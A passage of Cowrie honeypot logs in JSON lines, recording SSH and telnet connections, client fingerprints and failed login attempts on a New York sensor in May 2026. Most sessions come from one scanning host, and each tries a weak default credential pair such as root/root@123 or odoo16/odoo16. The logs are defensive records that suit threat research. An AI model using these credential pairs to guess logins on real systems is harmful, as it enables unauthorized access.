tp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:00.564061Z","src_ip":"45.156.87.254","session":"244b1908b494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:00.905581Z","src_ip":"45.156.87.254","session":"244b1908b494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:02.010646Z","src_ip":"45.156.87.254","session":"244b1908b494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51592,"dst_ip":"159.203.135.109","dst_port":22,"session":"54aba761a35b","protocol":"ssh","message":"New connection: 45.156.87.254:51592 (159.203.135.109:22) [session: 54aba761a35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:05.926673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:05.935267Z","src_ip":"45.156.87.254","session":"54aba761a35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:06.031652Z","src_ip":"45.156.87.254","session":"54aba761a35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:06.298091Z","src_ip":"45.156.87.254","session":"54aba761a35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:07.386269Z","src_ip":"45.156.87.254","session":"54aba761a35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34606,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f53c445c75f","protocol":"ssh","message":"New connection: 45.156.87.254:34606 (159.203.135.109:22) [session: 1f53c445c75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:12.359859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:12.364444Z","src_ip":"45.156.87.254","session":"1f53c445c75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:12.453450Z","src_ip":"45.156.87.254","session":"1f53c445c75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:12.707067Z","src_ip":"45.156.87.254","session":"1f53c445c75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:13.802352Z","src_ip":"45.156.87.254","session":"1f53c445c75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.853845834732056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:15.524198Z","src_ip":"104.245.105.2","session":"b1a030ced866","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34612,"dst_ip":"159.203.135.109","dst_port":22,"session":"c416579d3d52","protocol":"ssh","message":"New connection: 45.156.87.254:34612 (159.203.135.109:22) [session: c416579d3d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:18.281858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:18.291991Z","src_ip":"45.156.87.254","session":"c416579d3d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:18.382589Z","src_ip":"45.156.87.254","session":"c416579d3d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:18.644598Z","src_ip":"45.156.87.254","session":"c416579d3d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.976425886154175,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:19.155441Z","src_ip":"20.123.41.163","session":"db0667ca3397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:19.799933Z","src_ip":"45.156.87.254","session":"c416579d3d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25450801849365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:22.879908Z","src_ip":"104.245.105.2","session":"6c7d1803dd34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39580,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d1393f5a5fb","protocol":"ssh","message":"New connection: 45.156.87.254:39580 (159.203.135.109:22) [session: 4d1393f5a5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:24.047517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:24.054433Z","src_ip":"45.156.87.254","session":"4d1393f5a5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:24.140685Z","src_ip":"45.156.87.254","session":"4d1393f5a5fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:24.391498Z","src_ip":"45.156.87.254","session":"4d1393f5a5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:25.483146Z","src_ip":"45.156.87.254","session":"4d1393f5a5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51974,"dst_ip":"10.17.0.5","dst_port":23,"session":"250622d36263","protocol":"telnet","message":"New connection: 20.123.41.163:51974 (10.17.0.5:23) [session: 250622d36263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:26.908922Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8885116a0d68","protocol":"telnet","message":"New connection: 20.123.41.163:51982 (10.17.0.5:23) [session: 8885116a0d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:28.567564Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59370,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba61e88e454f","protocol":"ssh","message":"New connection: 45.156.87.254:59370 (159.203.135.109:22) [session: ba61e88e454f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:29.360127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:29.364363Z","src_ip":"45.156.87.254","session":"ba61e88e454f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:29.451539Z","src_ip":"45.156.87.254","session":"ba61e88e454f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:29.705813Z","src_ip":"45.156.87.254","session":"ba61e88e454f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:30.792241Z","src_ip":"45.156.87.254","session":"ba61e88e454f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.548995733261108,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:32.457777Z","src_ip":"20.123.41.163","session":"250622d36263","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59384,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2dab3eb5db","protocol":"ssh","message":"New connection: 45.156.87.254:59384 (159.203.135.109:22) [session: 0e2dab3eb5db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:34.394267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:34.400482Z","src_ip":"45.156.87.254","session":"0e2dab3eb5db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:34.538841Z","src_ip":"45.156.87.254","session":"0e2dab3eb5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:34.832634Z","src_ip":"45.156.87.254","session":"0e2dab3eb5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:35.925958Z","src_ip":"45.156.87.254","session":"0e2dab3eb5db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43090,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed06cba4a5be","protocol":"ssh","message":"New connection: 45.156.87.254:43090 (159.203.135.109:22) [session: ed06cba4a5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:39.525262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:39.530358Z","src_ip":"45.156.87.254","session":"ed06cba4a5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:39.618875Z","src_ip":"45.156.87.254","session":"ed06cba4a5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:39.870508Z","src_ip":"45.156.87.254","session":"ed06cba4a5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:41.073879Z","src_ip":"45.156.87.254","session":"ed06cba4a5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.16344404220581,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:41.490127Z","src_ip":"20.123.41.163","session":"3654f50f3492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43096,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25d1f063bc0","protocol":"ssh","message":"New connection: 45.156.87.254:43096 (159.203.135.109:22) [session: c25d1f063bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:44.826560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:32:44.836488Z","src_ip":"45.156.87.254","session":"c25d1f063bc0","protocol":"ssh"}
